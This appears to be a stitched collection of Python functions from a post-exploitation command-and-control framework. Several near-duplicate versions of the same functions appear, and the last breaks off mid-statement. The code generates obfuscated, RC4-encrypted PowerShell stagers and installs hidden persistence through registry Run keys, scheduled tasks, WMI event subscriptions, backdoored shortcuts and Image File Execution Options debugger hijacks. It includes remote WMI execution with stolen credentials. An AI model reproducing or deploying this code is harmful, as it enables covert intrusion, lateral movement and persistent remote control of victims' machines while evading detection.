def generate_stager( self, listenerOptions, encode=False, encrypt=True, language=None, token=None ): """ Generate the stager code """ if not language: print( helpers.color( "[!] listeners/onedrive generate_stager(): no language specified" ) ) return None staging_key = listenerOptions["StagingKey"]["Value"] base_folder = listenerOptions["BaseFolder"]["Value"] staging_folder = listenerOptions["StagingFolder"]["Value"] working_hours = listenerOptions["WorkingHours"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] agent_delay = listenerOptions["DefaultDelay"]["Value"] if language.lower() == "powershell": f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) stager = stager.replace( "REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder) ) stager = stager.replace("REPLACE_STAGING_KEY", staging_key) stager = stager.replace("REPLACE_TOKEN", token) stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) unobfuscated_stager = "" for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): unobfuscated_stager += line if encode: return helpers.enc_powershell(unobfuscated_stager) elif encrypt: RC4IV = os.urandom(4) staging_key = staging_key.encode("UTF-8") return RC4IV + encryption.rc4( RC4IV + staging_key, unobfuscated_stager.encode("UTF-8") ) else: return unobfuscated_stager else: print(helpers.color("[!] Python agent not available for Onedrive"))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the stager code """ if not language: print(helpers.color("[!] listeners/onedrive generate_stager(): no language specified")) return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) stager = stager.replace('REPLACE_STAGING_KEY', staging_key) stager = stager.replace("REPLACE_TOKEN", token) stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) randomized_stager = '' for line in stager.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_stager += helpers.randomize_capitalization(line) else: randomized_stager += line if encode: return helpers.enc_powershell(randomized_stager) elif encrypt: RC4IV = os.urandom(4) staging_key = staging_key.encode('UTF-8') return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8')) else: return randomized_stager else: print(helpers.color("[!] Python agent not available for Onedrive"))
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): # Set booleans to false by default obfuscate = False listener_name = params['Listener'] # trigger options key_name = params['KeyName'] # storage options reg_path = params['RegPath'] ads_path = params['ADSPath'] event_log_id = params['EventLogID'] # management options ext_file = params['ExtFile'] cleanup = params['Cleanup'] # staging options user_agent = params['UserAgent'] proxy = params['Proxy'] proxy_creds = params['ProxyCreds'] if (params['Obfuscate']).lower() == 'true': obfuscate = True obfuscate_command = params['ObfuscateCommand'] status_msg = "" location_string = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if ads_path != '': if ".txt" not in ads_path: return handle_error_message( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + ads_path + "\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + ";" script += "'Registry Persistence removed.'" script = data_util.keyword_obfuscation(script) if obfuscate: script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command) return script if ext_file != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): f = open(ext_file, 'r') file_data = f.read() f.close() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(file_data) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # if an external file isn't specified, use a listener if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listener_name, language='powershell', encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params['Bypasses']) enc_script = launcher.split(" ")[-1] status_msg += "using listener " + listener_name if ads_path != '': # store the script in the specified alternate data stream location if ads_path != '': if ".txt" not in ads_path: return handle_error_message( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + enc_script + " > " + ads_path + "\"};" location_string = "$(cmd /c \''more < " + ads_path + "\'')" elif event_log_id != '': # store the script in the event log under the specified ID # credit to @subtee # https://gist.github.com/subTee/949fdf0f141546f24978 # sanity check to make sure we haven't exceeded the 31389 byte max if len(enc_script) > 31389: return handle_error_message( "[!] Warning: encoded script exceeds 31389 byte max.") status_msg += " stored in Application event log under EventID " + event_log_id + "." # command to write out the encoded script to the specified eventlog ID script = "Write-EventLog -logname Application -source WSH -eventID " + event_log_id + " -entrytype Information -message 'Debug' -category 1 -rawdata \"" + enc_script + "\".ToCharArray();" # command to decode the binary data from the event log location location_string = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq " + event_log_id + "}))[0].data))" else: # otherwise store the script into the specified registry location path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] status_msg += " stored in " + reg_path + "." script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + enc_script + ";" # note where the script is stored location_string = "$((gp " + path + " " + name + ")." + name + ")" # set the run key to extract the encoded script from the specified location # and start powershell.exe in the background with the encoded command script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + location_string + ";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established " + status_msg + "'" script = data_util.keyword_obfuscation(script) if obfuscate: script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command) script = data_util.keyword_obfuscation(script) return script
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): # Set booleans to false by default obfuscate = False listener_name = params['Listener'] # trigger options daily_time = params['DailyTime'] idle_time = params['IdleTime'] task_name = params['TaskName'] # storage options reg_path = params['RegPath'] ads_path = params['ADSPath'] # management options ext_file = params['ExtFile'] cleanup = params['Cleanup'] # staging options user_agent = params['UserAgent'] proxy = params['Proxy'] proxy_creds = params['ProxyCreds'] if (params['Obfuscate']).lower() == 'true': obfuscate = True obfuscate_command = params['ObfuscateCommand'] status_msg = "" location_string = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if ads_path != '': # remove the ADS storage location if ".txt" not in ads_path: return handle_error_message( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + ads_path + "\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "schtasks /Delete /F /TN " + task_name + ";" script += "'Schtasks persistence removed.'" script = data_util.keyword_obfuscation(script) if obfuscate: script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command) return script if ext_file != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): f = open(ext_file, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # if an external file isn't specified, use a listener if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listener_name, language='powershell', encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params['Bypasses']) enc_script = launcher.split(" ")[-1] status_msg += "using listener " + listener_name if ads_path != '': # store the script in the specified alternate data stream location if ".txt" not in ads_path: return handle_error_message( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + enc_script + " > " + ads_path + "\"};" location_string = "$(cmd /c \''\''more < " + ads_path + "\''\''\'')" else: # otherwise store the script into the specified registry location path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] status_msg += " stored in " + reg_path script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + enc_script + ";" # note where the script is stored location_string = "(gp " + path + " " + name + ")." + name # built the command that will be triggered by the schtask trigger_cmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String(" + location_string + ")))\\\"'" # sanity check to make sure we haven't exceeded the cmd.exe command length max if len(trigger_cmd) > 259: return handle_error_message( "[!] Warning: trigger command exceeds the maximum of 259 characters." ) if idle_time != '': script += "schtasks /Create /F /SC ONIDLE /I " + idle_time + " /TN " + task_name + " /TR " + trigger_cmd + ";" status_msg += " with " + task_name + " idle trigger on " + idle_time + "." else: # otherwise assume we're doing a daily trigger script += "schtasks /Create /F /SC DAILY /ST " + daily_time + " /TN " + task_name + " /TR " + trigger_cmd + ";" status_msg += " with " + task_name + " daily trigger at " + daily_time + "." script += "'Schtasks persistence established " + status_msg + "'" if main_menu.obfuscate: script = data_util.obfuscate( main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand) script = data_util.keyword_obfuscation(script) return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print( helpers.color( '[!] listeners/http_com generate_stager(): no language specified!' )) return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) # patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' stagingKey = stagingKey.encode('UTF-8') for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8')) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ))
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): # Set booleans to false by default obfuscate = False listener_name = params['Listener'] # management options lnk_path = params['LNKPath'] ext_file = params['ExtFile'] cleanup = params['Cleanup'] # storage options reg_path = params['RegPath'] # staging options user_agent = params['UserAgent'] proxy = params['Proxy'] proxy_creds = params['ProxyCreds'] if (params['Obfuscate']).lower() == 'true': obfuscate = True obfuscate_command = params['ObfuscateCommand'] status_msg = "" if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listener_name, language='powershell', encode=False, obfuscate=obfuscate, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params['Bypasses']) launcher = launcher.replace("$", "`$") # read in the common powerup.ps1 module source code module_source = main_menu.installPath + "/data/module_source/persistence/Invoke-BackdoorLNK.ps1" if main_menu.obfuscate: obfuscated_module_source = module_source.replace( "module_source", "obfuscated_module_source") if pathlib.Path(obfuscated_module_source).is_file(): module_source = obfuscated_module_source try: with open(module_source, 'r') as f: module_code = f.read() except: return handle_error_message( "[!] Could not read module source path at: " + str(module_source)) if main_menu.obfuscate and not pathlib.Path( obfuscated_module_source).is_file(): script = data_util.obfuscate( installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand) else: script = module_code script_end = "Invoke-BackdoorLNK " if cleanup.lower() == "true": script_end += " -CleanUp" script_end += " -LNKPath '%s'" % (lnk_path) script_end += " -RegPath '%s'" % (reg_path) script_end += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" % ( lnk_path, reg_path) else: if ext_file != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): f = open(ext_file, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # if an external file isn't specified, use a listener if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listener_name, language='powershell', encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params['Bypasses']) encScript = launcher.split(" ")[-1] status_msg += "using listener " + listener_name script_end += " -LNKPath '%s'" % (lnk_path) script_end += " -EncScript '%s'" % (encScript) script_end += "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" % ( lnk_path, listener_name) if main_menu.obfuscate: script_end = data_util.obfuscate( main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand) script += script_end script = data_util.keyword_obfuscation(script) return script
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" # Set booleans to false by default obfuscate = False # management options cleanup = params['Cleanup'] binary = params['Binary'] target_binary = params['TargetBinary'] listener_name = params['Listener'] if (params['Obfuscate']).lower() == 'true': obfuscate = True obfuscate_command = params['ObfuscateCommand'] # storage options reg_path = params['RegPath'] status_msg = "" location_string = "" # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": if not main_menu.credentials.is_credential_valid(cred_id): return handle_error_message("[!] CredID is invalid!") cred: Credential = main_menu.credentials.get_credentials(cred_id) if cred.domain != "": params["UserName"] = str(cred.domain) + "\\" + str( cred.username) else: params["UserName"] = str(cred.username) if cred.password != "": params["Password"] = cred.password if cleanup.lower() == 'true': # the registry command to disable the debugger for the target binary payload_code = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';" status_msg += " to remove the debugger for " + target_binary elif listener_name != '': # if there's a listener specified, generate a stager and store it if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listener_name, language='powershell', encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscate_command, bypasses=params['Bypasses']) encScript = launcher.split(" ")[-1] # statusMsg += "using listener " + listenerName path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] # statusMsg += " stored in " + regPath + "." payload_code = "$RegPath = '" + reg_path + "';" payload_code += "$parts = $RegPath.split('\\');" payload_code += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" payload_code += "$name = $parts[-1];" payload_code += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";" # note where the script is stored location_string = "$((gp " + path + " " + name + ")." + name + ")" payload_code += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + location_string + ";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';" status_msg += " to set the debugger for " + target_binary + " to be a stager for listener " + listener_name + "." else: payload_code = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + target_binary + "' -Name Debugger -Value '" + binary + "';" status_msg += " to set the debugger for " + target_binary + " to be " + binary + "." # unicode-base64 the payload code to execute on the targets with -enc encPayload = helpers.enc_powershell(payload_code) # build the WMI execution string computer_names = "\"" + "\",\"".join( params['ComputerName'].split(",")) + "\"" script += " -ComputerName @(" + computer_names + ")" script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload.decode( 'UTF-8') + "\"" # if we're supplying alternate user credentials if params["UserName"] != '': script = "$PSPassword = \"" + params[ "Password"] + "\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\"" + params[ "UserName"] + "\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-Wmi executed on " + computer_names + status_msg + "'" if main_menu.obfuscate: script = data_util.obfuscate( main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand) script = data_util.keyword_obfuscation(script) return script
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): # Set booleans to false by default obfuscate = False launcher_prefix = params['Launcher'] # trigger options daily_time = params['DailyTime'] at_startup = params['AtStartup'] sub_name = params['SubName'] # management options ext_file = params['ExtFile'] cleanup = params['Cleanup'] web_file = params['WebFile'] s_bypasses = params['Bypasses'] if (params['Obfuscate']).lower() == 'true': obfuscate = True obfuscate_command = params['ObfuscateCommand'] status_msg = "" location_string = "" if cleanup.lower() == 'true': # commands to remove the WMI filter and subscription script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+sub_name+"'\"| Remove-WmiObject;" script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+sub_name+"'\" | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+sub_name+"'} | Remove-WmiObject;" script += "'WMI persistence removed.'" return script if ext_file != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): f = open(ext_file, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=web_file, launcher=launcher_prefix) enc_script = launcher.split(" ")[-1] status_msg += "using launcher_fetcher" # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(enc_script) > 8190: return handle_error_message("[!] Warning: -enc command exceeds the maximum of 8190 characters.") # built the command that will be triggered trigger_cmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + enc_script if daily_time != '': parts = daily_time.split(":") if len(parts) < 2: return handle_error_message("[!] Please use HH:mm format for DailyTime") hour = parts[0] minutes = parts[1] # create the WMI event filter for a system time script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+sub_name+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" status_msg += " WMI subscription daily trigger at " + daily_time + "." else: # create the WMI event filter for OnStartup script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+sub_name+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" status_msg += " with OnStartup WMI subsubscription trigger." # add in the event consumer to launch the encrypted script contents script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+sub_name+"';CommandLineTemplate=\""+trigger_cmd+"\";RunInteractively='false'};" # bind the filter and event consumer together script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" script += "'WMI persistence established "+status_msg+"'" script = data_util.keyword_obfuscation(script) return script
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): # Set booleans to false by default obfuscate = False listener_name = params['Listener'] # trigger options key_name = params['KeyName'] # storage options reg_path = params['RegPath'] ads_path = params['ADSPath'] # management options ext_file = params['ExtFile'] cleanup = params['Cleanup'] # staging options user_agent = params['UserAgent'] proxy = params['Proxy'] proxy_creds = params['ProxyCreds'] if (params['Obfuscate']).lower() == 'true': obfuscate = True obfuscate_command = params['ObfuscateCommand'] status_msg = "" location_string = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if ads_path != '': # remove the ADS storage location if ".txt" not in ads_path: return handle_error_message("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + ads_path + "\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + ";" script += "'Registry persistence removed.'" return script if ext_file != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(ext_file): f = open(ext_file, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching enc_script = helpers.enc_powershell(fileData) status_msg += "using external file " + ext_file else: return handle_error_message("[!] File does not exist: " + ext_file) else: # if an external file isn't specified, use a listener if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher(listener_name, language='powershell', encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params['Bypasses']) enc_script = launcher.split(" ")[-1] status_msg += "using listener " + listener_name # store the script in the specified alternate data stream location if ads_path != '': if ".txt" not in ads_path: return handle_error_message("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + enc_script + " > " + ads_path + "\"};" location_string = "$(cmd /c \''more < " + ads_path + "\'')" else: # otherwise store the script into the specified registry location path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] status_msg += " stored in " + reg_path + "." script = "$RegPath = '" + reg_path + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + enc_script + ";" # note where the script is stored location_string = "$((gp " + path + " " + name + ")." + name + ")" script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + location_string + ";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established " + status_msg + "'" if main_menu.obfuscate: script = data_util.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand) script = data_util.keyword_obfuscation(script) return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name stager = data_util.keyword_obfuscation(stager) # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module." ))
def generate( main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = "", ): # management options lnk_path = params["LNKPath"] ext_file = params["ExtFile"] cleanup = params["Cleanup"] # storage options reg_path = params["RegPath"] # staging options listener_name = params["Listener"] user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] if (params["Obfuscate"]).lower() == "true": launcher_obfuscate = True else: launcher_obfuscate = False launcher_obfuscate_command = params["ObfuscateCommand"] status_msg = "" if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, language="powershell", encode=False, obfuscate=launcher_obfuscate, obfuscationCommand=launcher_obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, bypasses=params["Bypasses"], ) launcher = launcher.replace("$", "`$") # read in the common module source code script, err = main_menu.modules.get_module_source( module_name=module.script_path, obfuscate=obfuscate, obfuscate_command=obfuscation_command, ) if err: return handle_error_message(err) script_end = 